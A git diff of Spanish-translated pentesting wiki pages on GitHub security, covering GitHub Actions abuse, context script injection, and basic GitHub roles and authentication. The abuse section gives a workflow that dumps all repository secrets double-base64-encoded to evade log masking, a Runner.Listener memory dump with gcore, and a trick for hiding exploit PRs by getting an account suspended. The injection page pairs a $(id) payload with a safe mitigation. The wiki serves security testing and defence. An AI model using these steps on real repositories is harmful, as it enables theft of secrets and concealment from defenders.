-- Si el secreto se utiliza **directamente en una expresión**, el script de shell generado se almacena **en disco** y es accesible. +- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. - ```bash cat /home/runner/work/_temp/* ``` -- Para las acciones de JavaScript, los secretos se envían a través de variables de entorno. +- Para una JavaScript action, los secrets se envían a través de environment variables - ```bash ps axe | grep node ``` -- Para una **acción personalizada**, el riesgo puede variar dependiendo de cómo un programa esté utilizando el secreto que obtuvo del **argumento**: +- Para una **custom action**, el riesgo puede variar dependiendo de cómo un programa esté usando el secret que obtuvo del **argument**: ```yaml uses: fakeaction/publish@v3 @@ -514,27 +542,51 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -### Abusando de los runners autoalojados +- Enumera todos los secrets vía el secrets context (collaborator level). Un contributor con write access puede modificar un workflow en cualquier branch para volcar todos los repository/org/environment secrets. Usa double base64 para evadir el log masking de GitHub y decodifica localmente: -La forma de encontrar qué **Github Actions se están ejecutando en infraestructura no de github** es buscar **`runs-on: self-hosted`** en la configuración yaml de Github Action. +```yaml +name: Steal secrets +on: +push: +branches: [ attacker-branch ] +jobs: +dump: +runs-on: ubuntu-latest +steps: +- name: Double-base64 the secrets context +run: | +echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0 +``` -Los runners **autoalojados** pueden tener acceso a **información extra sensible**, a otros **sistemas de red** (¿puntos finales vulnerables en la red? ¿servicio de metadatos?) o, incluso si está aislado y destruido, **más de una acción podría ejecutarse al mismo tiempo** y la maliciosa podría **robar los secretos** de la otra. +Decodifica localmente: -En los runners autoalojados también es posible obtener los **secretos del proceso \_Runner.Listener**\_\*\* que contendrá todos los secretos de los flujos de trabajo en cualquier paso al volcar su memoria: +```bash +echo "ZXdv...Zz09" | base64 -d | base64 -d +``` + +Tip: para sigilo durante las pruebas, encripta antes de imprimir (openssl is preinstalled on GitHub-hosted runners). + +### Abusing Self-hosted runners + +La forma de encontrar qué **Github Actions are being executed in non-github infrastructure** es buscar **`runs-on: self-hosted`** en el Github Action configuration yaml. + +**Self-hosted** runners podrían tener acceso a **extra sensitive information**, a otros **network systems** (vulnerable endpoints in the network? metadata service?) o, incluso si están aislados y destruidos, **more than one action might be run at the same time** y la maliciosa podría **steal the secrets** de la otra. + +En los self-hosted runners también es posible obtener the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` Consulta [**esta publicación para más información**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). -### Registro de Imágenes Docker de Github +### Registro de imágenes Docker de Github -Es posible crear acciones de Github que **construyan y almacenen una imagen Docker dentro de Github**.\ -Un ejemplo se puede encontrar en el siguiente expandible: +Es posible crear Github Actions que **construyan y almacenen una imagen Docker dentro de Github**.\ +Un ejemplo se puede encontrar en el siguiente elemento desplegable:
-Github Action Build & Push Docker Image +Github Action: Compilar y subir imagen Docker ```yaml [...] @@ -565,30 +617,34 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
-Como pudiste ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**. +Como puedes ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**. -Un usuario con permisos de lectura sobre el repositorio podrá descargar la imagen de Docker utilizando un token de acceso personal: +Un usuario con permisos de lectura sobre el repo podrá entonces descargar la Docker Image usando un token de acceso personal: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Luego, el usuario podría buscar **secretos filtrados en las capas de la imagen de Docker:** +Entonces, el usuario podría buscar **leaked secrets en las capas de imagen de Docker:** {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} -### Información sensible en los registros de Github Actions +### Información sensible en los logs de Github Actions -Incluso si **Github** intenta **detectar valores secretos** en los registros de acciones y **evitar mostrarlos**, **otros datos sensibles** que podrían haberse generado en la ejecución de la acción no estarán ocultos. Por ejemplo, un JWT firmado con un valor secreto no estará oculto a menos que esté [específicamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Aunque **Github** intenta **detectar valores secretos** en los logs de Actions y **evitar mostrarlos**, **otros datos sensibles** que pudieron haberse generado durante la ejecución de la action no serán ocultados. Por ejemplo, un JWT firmado con un valor secreto no será ocultado a menos que esté [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). -## Cubriendo tus Huellas +## Ocultando tus rastros -(Técnica de [**aquí**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR levantada es claramente visible al público en Github y a la cuenta de GitHub objetivo. En GitHub, por defecto, **no podemos eliminar un PR de internet**, pero hay un giro. Para las cuentas de Github que están **suspendidas** por Github, todos sus **PRs son eliminados automáticamente** y removidos de internet. Así que, para ocultar tu actividad, necesitas o bien hacer que tu **cuenta de GitHub sea suspendida o que tu cuenta sea marcada**. Esto **ocultará todas tus actividades** en GitHub de internet (básicamente eliminará todos tus PR de explotación). +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR abierto es claramente visible para el público en Github y para la cuenta objetivo en GitHub. En GitHub, por defecto, **can’t delete a PR of the internet**, pero hay una excepción. Para las cuentas de Github que son **suspendidas** por Github, todos sus **PRs are automatically deleted** y se quitan de internet. Así que, para ocultar tu actividad necesitas o bien conseguir que tu **GitHub account suspended or get your account flagged**. Esto **hide all your activities** en GitHub desde internet (básicamente remove all your exploit PR) -Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir “algunas cosas” en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 horas :p y ahí lo tienes, has hecho tu explotación invisible en github. +Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir “some stuff” en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 hours :p y ahí lo tienes, habrás hecho tu exploit invisible en github. > [!WARNING] -> La única forma en que una organización puede darse cuenta de que ha sido objetivo es revisar los registros de GitHub desde SIEM, ya que desde la interfaz de usuario de GitHub el PR sería eliminado. +> La única forma de que una organización descubra que ha sido objetivo es revisar los GitHub logs desde el SIEM, ya que desde la GitHub UI el PR sería eliminado. + +## Referencias + +- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 7ab592bf1..a269973d0 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1,3 +1,96 @@ -# Gh Actions - Inyecciones de Script de Contexto +# Gh Actions - Context Script Injections + +{{#include ../../../banners/hacktricks-training.md}} + +## Comprender el riesgo + +GitHub Actions renderiza las expresiones ${{ ... }} antes de que el paso se ejecute. El valor renderizado se pega en el programa del paso (para pasos run, un shell script). Si interpolas entrada no confiable directamente dentro de run:, el atacante controla parte del programa del shell y puede ejecutar comandos arbitrarios. + +Documentación: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions y contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts + +Puntos clave: +- El renderizado ocurre antes de la ejecución. El script de run se genera con todas las expresiones resueltas y luego es ejecutado por el shell. +- Muchos contexts contienen campos controlados por el usuario dependiendo del evento que los desencadena (issues, PRs, comments, discussions, forks, stars, etc.). Consulta la referencia sobre entrada no confiable: https://securitylab.github.com/resources/github-actions-untrusted-input/ +- El uso de comillas en el shell dentro de run: no es una defensa fiable, porque la inyección ocurre en la fase de renderizado de la plantilla. Los atacantes pueden salir de las comillas o inyectar operadores mediante entradas especialmente construidas. + +## Patrón vulnerable → RCE en el runner + +Flujo de trabajo vulnerable (se desencadena cuando alguien abre un nuevo issue): +```yaml +name: New Issue Created +on: +issues: +types: [opened] +jobs: +deploy: +runs-on: ubuntu-latest +permissions: +issues: write +steps: +- name: New issue +run: | +echo "New issue ${{ github.event.issue.title }} created" +- name: Add "new" label to issue +uses: actions-ecosystem/action-add-labels@v1 +with: +github_token: ${{ secrets.GITHUB_TOKEN }} +labels: new +``` +Si un atacante abre un issue titulado $(id), el step renderizado se convierte en: +```sh +echo "New issue $(id) created" +``` +La sustitución de comandos ejecuta id en el runner. Ejemplo de salida: +``` +New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created +``` +Por qué las comillas no te protegen: +- Las expresiones se renderizan primero, luego se ejecuta el script resultante. Si el valor no confiable contiene $(...), `;`, `"`/`'`, o saltos de línea, puede alterar la estructura del programa a pesar de tus comillas. + +## Patrón seguro (shell variables via env) + +Mitigación correcta: copia la entrada no confiable en una variable de entorno, luego usa la expansión nativa del shell ($VAR) en el script de ejecución. No vuelvas a incrustar con ${{ ... }} dentro del comando. +```yaml +# safe +jobs: +deploy: +runs-on: ubuntu-latest +steps: +- name: New issue +env: +TITLE: ${{ github.event.issue.title }} +run: | +echo "New issue $TITLE created" +``` +Notas: +- Evita usar ${{ env.TITLE }} dentro de run:. Eso reintroduce el renderizado de plantillas en el comando y provoca el mismo riesgo de inyección. +- Prefiere pasar entradas no confiables vía el mapeo env: y referenciarlas con $VAR en run:. + +## Superficies que un lector puede activar (tratar como no confiables) + +Las cuentas con permiso de solo lectura en repositorios públicos aún pueden desencadenar muchos eventos. Cualquier campo en contextos derivados de estos eventos debe considerarse controlado por un atacante a menos que se demuestre lo contrario. Ejemplos: +- issues, issue_comment +- discussion, discussion_comment (orgs can restrict discussions) +- pull_request, pull_request_review, pull_request_review_comment +- pull_request_target (dangerous if misused, runs in base repo context) +- fork (anyone can fork public repos) +- watch (starring a repo) +- Indirectly via workflow_run/workflow_call chains + +Qué campos específicos están controlados por un atacante depende del evento. Consulta la guía Untrusted input de GitHub Security Lab: https://securitylab.github.com/resources/github-actions-untrusted-input/ + +## Consejos prácticos + +- Minimiza el uso de expresiones dentro de run:. Prefiere el mapeo env: + $VAR. +- Si debes transformar la entrada, hazlo en el shell usando herramientas seguras (printf %q, jq -r, etc.), empezando siempre desde una variable de shell. +- Ten especial cuidado al interpolar nombres de rama, títulos de PR, usernames, labels, títulos de discussion y PR head refs en scripts, flags de línea de comandos o rutas de archivos. +- Para reusable workflows y composite actions, aplica el mismo patrón: mapear a env y luego referenciar $VAR. + +## References + +- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) +- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions) +- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts) +- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 62821f1ed..38370afd4 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -1,156 +1,156 @@ -# Información Básica de Github +# Información básica de Github {{#include ../../banners/hacktricks-training.md}} -## Estructura Básica +## Estructura básica -La estructura básica del entorno de github de una **empresa** grande es poseer una **empresa** que posee **varias organizaciones** y cada una de ellas puede contener **varios repositorios** y **varios equipos**. Las empresas más pequeñas pueden **poseer solo una organización y ninguna empresa**. +La estructura básica del entorno de Github de una gran **company** consiste en poseer un **enterprise** que a su vez posee **varias organizations** y cada una de ellas puede contener **varios repositories** y **varios teams**. Las empresas más pequeñas pueden simplemente **poseer una sola organization y no enterprises**. -Desde el punto de vista de un usuario, un **usuario** puede ser **miembro** de **diferentes empresas y organizaciones**. Dentro de ellas, el usuario puede tener **diferentes roles de empresa, organización y repositorio**. +Desde el punto de vista de un usuario, un **user** puede ser **miembro** de **diferentes enterprises y organizations**. Dentro de ellas el usuario puede tener **diferentes roles a nivel enterprise, organization y repository**. -Además, un usuario puede ser **parte de diferentes equipos** con diferentes roles de empresa, organización o repositorio. +Además, un usuario puede ser **parte de diferentes teams** con distintos roles a nivel enterprise, organization o repository. -Y finalmente, **los repositorios pueden tener mecanismos de protección especiales**. +Y finalmente, **los repositories pueden tener mecanismos especiales de protección**. ## Privilegios -### Roles de Empresa +### Enterprise Roles -- **Propietario de la empresa**: Las personas con este rol pueden **gestionar administradores, gestionar organizaciones dentro de la empresa, gestionar configuraciones de la empresa, hacer cumplir políticas a través de organizaciones**. Sin embargo, **no pueden acceder a la configuración o contenido de la organización** a menos que se les asigne como propietario de la organización o se les dé acceso directo a un repositorio de la organización. -- **Miembros de la empresa**: Los miembros de organizaciones propiedad de tu empresa también son **miembros automáticos de la empresa**. +- **Enterprise owner**: Las personas con este rol pueden **gestionar administradores, gestionar organizations dentro del enterprise, gestionar la configuración del enterprise y aplicar políticas en las organizations**. Sin embargo, **no pueden acceder a la configuración o al contenido de una organization** a menos que se les designe como organization owner o se les dé acceso directo a un repository propiedad de la organization. +- **Enterprise members**: Los miembros de las organizations propiedad de tu enterprise también son **automáticamente miembros del enterprise**. -### Roles de Organización +### Organization Roles -En una organización, los usuarios pueden tener diferentes roles: +En una organization los usuarios pueden tener diferentes roles: -- **Propietarios de la organización**: Los propietarios de la organización tienen **acceso administrativo completo a tu organización**. Este rol debe ser limitado, pero no a menos de dos personas, en tu organización. -- **Miembros de la organización**: El rol **predeterminado**, no administrativo para **personas en una organización** es el miembro de la organización. Por defecto, los miembros de la organización **tienen una serie de permisos**. -- **Gerentes de facturación**: Los gerentes de facturación son usuarios que pueden **gestionar la configuración de facturación de tu organización**, como la información de pago. -- **Gerentes de Seguridad**: Es un rol que los propietarios de la organización pueden asignar a cualquier equipo en una organización. Cuando se aplica, otorga a cada miembro del equipo permisos para **gestionar alertas y configuraciones de seguridad en tu organización, así como permisos de lectura para todos los repositorios** en la organización. -- Si tu organización tiene un equipo de seguridad, puedes usar el rol de gerente de seguridad para dar a los miembros del equipo el acceso mínimo que necesitan a la organización. -- **Gerentes de Aplicaciones de Github**: Para permitir que usuarios adicionales **gestione las Aplicaciones de GitHub propiedad de una organización**, un propietario puede otorgarles permisos de gerente de Aplicaciones de GitHub. -- **Colaboradores externos**: Un colaborador externo es una persona que tiene **acceso a uno o más repositorios de la organización pero no es explícitamente un miembro** de la organización. +- **Organization owners**: Los organization owners tienen **acceso administrativo completo a tu organization**. Este rol debe limitarse, pero a no menos de dos personas, en tu organization. +- **Organization members**: El rol **por defecto**, no administrativo para **las personas en una organization** es organization member. Por defecto, los organization members **tienen una serie de permisos**. +- **Billing managers**: Los billing managers son usuarios que pueden **gestionar la configuración de facturación de tu organization**, como la información de pago. +- **Security Managers**: Es un rol que los organization owners pueden asignar a cualquier team dentro de una organization. Cuando se aplica, da a cada miembro del team permisos para **gestionar alertas y configuraciones de seguridad en la organization, así como permisos de lectura para todos los repositories** de la organization. +- Si tu organization tiene un security team, puedes usar el rol de security manager para dar a los miembros del team el menor acceso necesario a la organization. +- **Github App managers**: Para permitir que usuarios adicionales **gestionen GitHub Apps propiedad de una organization**, un owner puede otorgarles permisos de Github App manager. +- **Outside collaborators**: Un outside collaborator es una persona que **tiene acceso a uno o más repositories de la organization pero no es explícitamente miembro** de la organization. Puedes **comparar los permisos** de estos roles en esta tabla: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Privilegios de los Miembros +### Members Privileges -En _https://github.com/organizations/\/settings/member_privileges_ puedes ver los **permisos que los usuarios tendrán solo por ser parte de la organización**. +En _https://github.com/organizations/\/settings/member_privileges_ puedes ver los **permisos que los usuarios tendrán solo por ser parte de la organization**. -La configuración aquí indicada indicará los siguientes permisos de los miembros de la organización: +Las configuraciones aquí indicarán los siguientes permisos de los miembros de la organization: -- Ser administrador, escritor, lector o sin permiso sobre todos los repositorios de la organización. -- Si los miembros pueden crear repositorios privados, internos o públicos. -- Si es posible bifurcar repositorios. -- Si es posible invitar a colaboradores externos. +- Ser admin, writer, reader o no tener permiso sobre todos los repositories de la organization. +- Si los members pueden crear repositories privados, internal o públicos. +- Si es posible forkear repositories. +- Si es posible invitar outside collaborators. - Si se pueden publicar sitios públicos o privados. -- Los permisos que tienen los administradores sobre los repositorios. -- Si los miembros pueden crear nuevos equipos. +- Los permisos que los admins tienen sobre los repositories. +- Si los members pueden crear nuevos teams. -### Roles de Repositorio +### Repository Roles -Por defecto, se crean roles de repositorio: +Por defecto se crean los siguientes roles de repository: -- **Lectura**: Recomendado para **contribuidores no relacionados con el código** que desean ver o discutir tu proyecto. -- **Triage**: Recomendado para **contribuidores que necesitan gestionar proactivamente problemas y solicitudes de extracción** sin acceso de escritura. -- **Escritura**: Recomendado para contribuyentes que **empujan activamente a tu proyecto**. -- **Mantenimiento**: Recomendado para **gerentes de proyecto que necesitan gestionar el repositorio** sin acceso a acciones sensibles o destructivas. -- **Administrador**: Recomendado para personas que necesitan **acceso completo al proyecto**, incluidas acciones sensibles y destructivas como gestionar la seguridad o eliminar un repositorio. +- **Read**: Recomendado para **contribuidores que no trabajan con el código** y que quieren ver o comentar tu proyecto. +- **Triage**: Recomendado para **contribuidores que necesitan gestionar proactivamente issues y pull requests** sin acceso de escritura. +- **Write**: Recomendado para contribuyentes que **empujan activamente al proyecto**. +- **Maintain**: Recomendado para **project managers que necesitan gestionar el repository** sin acceso a acciones sensibles o destructivas. +- **Admin**: Recomendado para personas que necesitan **acceso total al proyecto**, incluidas acciones sensibles y destructivas como gestionar seguridad o eliminar un repository. Puedes **comparar los permisos** de cada rol en esta tabla [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) También puedes **crear tus propios roles** en _https://github.com/organizations/\/settings/roles_ -### Equipos +### Teams -Puedes **listar los equipos creados en una organización** en _https://github.com/orgs/\/teams_. Ten en cuenta que para ver los equipos que son hijos de otros equipos, necesitas acceder a cada equipo padre. +Puedes **listar los teams creados en una organization** en _https://github.com/orgs/\/teams_. Ten en cuenta que para ver los teams que son hijos de otros teams necesitas acceder a cada team padre. -### Usuarios +### Users -Los usuarios de una organización pueden ser **listados** en _https://github.com/orgs/\/people._ +Los usuarios de una organization pueden **listarse** en _https://github.com/orgs/\/people._ -En la información de cada usuario puedes ver los **equipos de los que el usuario es miembro**, y los **repositorios a los que el usuario tiene acceso**. +En la información de cada user puedes ver los **teams de los que el usuario es miembro**, y los **repos a los que el usuario tiene acceso**. -## Autenticación de Github +## Github Authentication -Github ofrece diferentes formas de autenticarte en tu cuenta y realizar acciones en tu nombre. +Github ofrece diferentes formas de autenticarse en tu cuenta y realizar acciones en tu nombre. -### Acceso Web +### Web Access -Accediendo a **github.com** puedes iniciar sesión usando tu **nombre de usuario y contraseña** (y un **2FA potencialmente**). +Accediendo a **github.com** puedes iniciar sesión usando tu **username y password** (y una **2FA potencialmente**). -### **Claves SSH** +### **SSH Keys** -Puedes configurar tu cuenta con una o varias claves públicas que permiten que la **clave privada relacionada realice acciones en tu nombre.** [https://github.com/settings/keys](https://github.com/settings/keys) +Puedes configurar tu cuenta con una o varias claves públicas permitiendo que la clave privada relacionada **realice acciones en tu nombre.** [https://github.com/settings/keys](https://github.com/settings/keys) -#### **Claves GPG** +#### **GPG Keys** -No **puedes suplantar al usuario con estas claves**, pero si no las usas, podría ser posible que **se te descubra por enviar commits sin una firma**. Aprende más sobre [modo vigilante aquí](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +No **puedes suplantar al usuario con estas claves**, pero si no las usas podría ser posible que **se te detecte por enviar commits sin firma**. Aprende más sobre el [vigilant mode aquí](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). -### **Tokens de Acceso Personal** +### **Personal Access Tokens** -Puedes generar un token de acceso personal para **dar acceso a una aplicación a tu cuenta**. Al crear un token de acceso personal, el **usuario** necesita **especificar** los **permisos** que **tendrá el token**. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Puedes generar personal access tokens para **dar a una aplicación acceso a tu cuenta**. Al crear un personal access token el **user** necesita **especificar** los **permisos** que el **token** tendrá. [https://github.com/settings/tokens](https://github.com/settings/tokens) -### Aplicaciones Oauth +### Oauth Applications -Las aplicaciones Oauth pueden pedirte permisos **para acceder a parte de tu información de github o para suplantarte** para realizar algunas acciones. Un ejemplo común de esta funcionalidad es el **botón de inicio de sesión con github** que podrías encontrar en algunas plataformas. +Las Oauth applications pueden pedirte permisos **para acceder a parte de tu información de github o para suplantarte** y realizar algunas acciones. Un ejemplo común de esta funcionalidad es el botón de **login with github** que podrías encontrar en algunas plataformas. -- Puedes **crear** tus propias **aplicaciones Oauth** en [https://github.com/settings/developers](https://github.com/settings/developers) -- Puedes ver todas las **aplicaciones Oauth que tienen acceso a tu cuenta** en [https://github.com/settings/applications](https://github.com/settings/applications) -- Puedes ver los **alcances que las Apps Oauth pueden solicitar** en [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- Puedes ver el acceso de terceros de aplicaciones en una **organización** en _https://github.com/organizations/\/settings/oauth_application_policy_ +- Puedes **crear** tus propias **Oauth applications** en [https://github.com/settings/developers](https://github.com/settings/developers) +- Puedes ver todas las **Oauth applications que tienen acceso a tu cuenta** en [https://github.com/settings/applications](https://github.com/settings/applications) +- Puedes ver los **scopes que las Oauth Apps pueden solicitar** en [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) +- Puedes ver el acceso de terceros de aplicaciones en una **organization** en _https://github.com/organizations/\/settings/oauth_application_policy_ Algunas **recomendaciones de seguridad**: -- Una **Aplicación OAuth** siempre debe **actuar como el usuario autenticado de GitHub en toda la plataforma** (por ejemplo, al proporcionar notificaciones al usuario) y con acceso solo a los alcances especificados. -- Una Aplicación OAuth puede ser utilizada como un proveedor de identidad al habilitar un "Inicio de sesión con GitHub" para el usuario autenticado. -- **No** construyas una **Aplicación OAuth** si deseas que tu aplicación actúe sobre un **único repositorio**. Con el alcance `repo`, las Aplicaciones OAuth pueden **actuar sobre \_todos**\_\*\* los repositorios del usuario autenticado\*\*. -- **No** construyas una Aplicación OAuth para actuar como una aplicación para tu **equipo o empresa**. Las Aplicaciones OAuth se autentican como un **único usuario**, por lo que si una persona crea una Aplicación OAuth para que la use una empresa y luego deja la empresa, nadie más tendrá acceso a ella. -- **Más** en [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- Un **OAuth App** siempre debe **actuar como el usuario autenticado de GitHub en todo GitHub** (por ejemplo, al proporcionar notificaciones al usuario) y con acceso solo a los scopes especificados. +- Un OAuth App puede usarse como proveedor de identidad habilitando un "Login with GitHub" para el usuario autenticado. +- **No** construyas un **OAuth App** si quieres que tu aplicación actúe sobre **un único repository**. Con el scope `repo`, las OAuth Apps pueden **actuar sobre _todos_ los repositories del usuario autenticado**. +- **No** construyas un OAuth App para actuar como una aplicación para tu **team o empresa**. Las OAuth Apps se autentican como **un solo usuario**, así que si una persona crea una OAuth App para que la use la empresa y luego deja la empresa, nadie más tendrá acceso a ella. +- **Más** información [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). -### Aplicaciones de Github +### Github Applications -Las aplicaciones de Github pueden pedir permisos para **acceder a tu información de github o suplantarte** para realizar acciones específicas sobre recursos específicos. En las Aplicaciones de Github, necesitas especificar los repositorios a los que la aplicación tendrá acceso. +Las Github applications pueden pedir permisos para **acceder a tu información de github o suplantarte** para realizar acciones específicas sobre recursos concretos. En los Github Apps necesitas especificar los repositories a los que la app tendrá acceso. -- Para instalar una Aplicación de GitHub, debes ser un **propietario de la organización o tener permisos de administrador** en un repositorio. -- La Aplicación de GitHub debe **conectarse a una cuenta personal o a una organización**. -- Puedes crear tu propia aplicación de Github en [https://github.com/settings/apps](https://github.com/settings/apps) -- Puedes ver todas las **aplicaciones de Github que tienen acceso a tu cuenta** en [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- Estos son los **Puntos de Acceso API para Aplicaciones de Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependiendo de los permisos de la Aplicación, podrá acceder a algunos de ellos. -- Puedes ver aplicaciones instaladas en una **organización** en _https://github.com/organizations/\/settings/installations_ +- Para instalar un GitHub App, debes ser **organisation owner o tener permisos admin** en un repository. +- El GitHub App debe **conectarse a una cuenta personal o a una organization**. +- Puedes crear tu propia Github application en [https://github.com/settings/apps](https://github.com/settings/apps) +- Puedes ver todas las **Github applications que tienen acceso a tu cuenta** en [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) +- Estos son los **endpoints de la API para Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependiendo de los permisos de la App, podrá acceder a algunos de ellos. +- Puedes ver las apps instaladas en una **organization** en _https://github.com/organizations/\/settings/installations_ Algunas recomendaciones de seguridad: -- Una Aplicación de GitHub debe **realizar acciones de forma independiente de un usuario** (a menos que la aplicación esté utilizando un token [de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para mantener los tokens de acceso de usuario a servidor más seguros, puedes usar tokens de acceso que expiren después de 8 horas, y un token de actualización que se puede intercambiar por un nuevo token de acceso. Para más información, consulta "[Actualizando tokens de acceso de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Asegúrate de que la Aplicación de GitHub se integre con **repositorios específicos**. -- La Aplicación de GitHub debe **conectarse a una cuenta personal o a una organización**. -- No esperes que la Aplicación de GitHub sepa y haga todo lo que un usuario puede. -- **No uses una Aplicación de GitHub si solo necesitas un servicio de "Inicio de sesión con GitHub"**. Pero una Aplicación de GitHub puede usar un [flujo de identificación de usuario](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para iniciar sesión a los usuarios _y_ hacer otras cosas. -- No construyas una Aplicación de GitHub si _solo_ deseas actuar como un usuario de GitHub y hacer todo lo que ese usuario puede hacer. -- Si estás usando tu aplicación con GitHub Actions y deseas modificar archivos de flujo de trabajo, debes autenticarte en nombre del usuario con un token OAuth que incluya el alcance `workflow`. El usuario debe tener permisos de administrador o escritura en el repositorio que contiene el archivo de flujo de trabajo. Para más información, consulta "[Entendiendo los alcances para aplicaciones OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **Más** en [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- Un GitHub App debería **realizar acciones de forma independiente a un usuario** (a menos que la app esté usando un token [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para mantener más seguros los access tokens user-to-server, puedes usar access tokens que expiren tras 8 horas y un refresh token que pueda canjearse por un nuevo access token. Para más información, consulta "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Asegúrate de que el GitHub App se integre con **repositories específicos**. +- El GitHub App debe **conectarse a una cuenta personal o a una organization**. +- No esperes que el GitHub App conozca y haga todo lo que un usuario puede hacer. +- **No uses un GitHub App si solo necesitas un servicio de "Login with GitHub"**. Pero un GitHub App puede usar un [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para iniciar sesión a los usuarios _y_ hacer otras cosas. +- No construyas un GitHub App si _solo_ quieres actuar como un usuario de GitHub y hacer todo lo que ese usuario puede hacer. +- Si estás usando tu app con GitHub Actions y deseas modificar archivos de workflow, debes autenticarte en nombre del usuario con un OAuth token que incluya el scope `workflow`. El usuario debe tener permisos admin o write en el repository que contiene el archivo de workflow. Para más información, consulta "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- **Más** información [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -Esto **no es una forma de autenticarte en github**, pero una **acción** de Github maliciosa podría obtener **acceso no autorizado a github** y **dependiendo** de los **privilegios** otorgados a la Acción, se podrían realizar **diferentes ataques**. Consulta a continuación para más información. +Esto **no es una forma de autenticarse en github**, pero una Github Action **maliciosa** podría obtener **acceso no autorizado a github** y, **dependiendo** de los **privilegios** otorgados a la Action, podrían realizarse **distintos ataques**. Ver más abajo para más información. -## Acciones de Git +## Git Actions -Las acciones de Git permiten automatizar la **ejecución de código cuando ocurre un evento**. Generalmente, el código ejecutado está **relacionado de alguna manera con el código del repositorio** (quizás construir un contenedor docker o verificar que la PR no contenga secretos). +Git actions permite automatizar la **ejecución 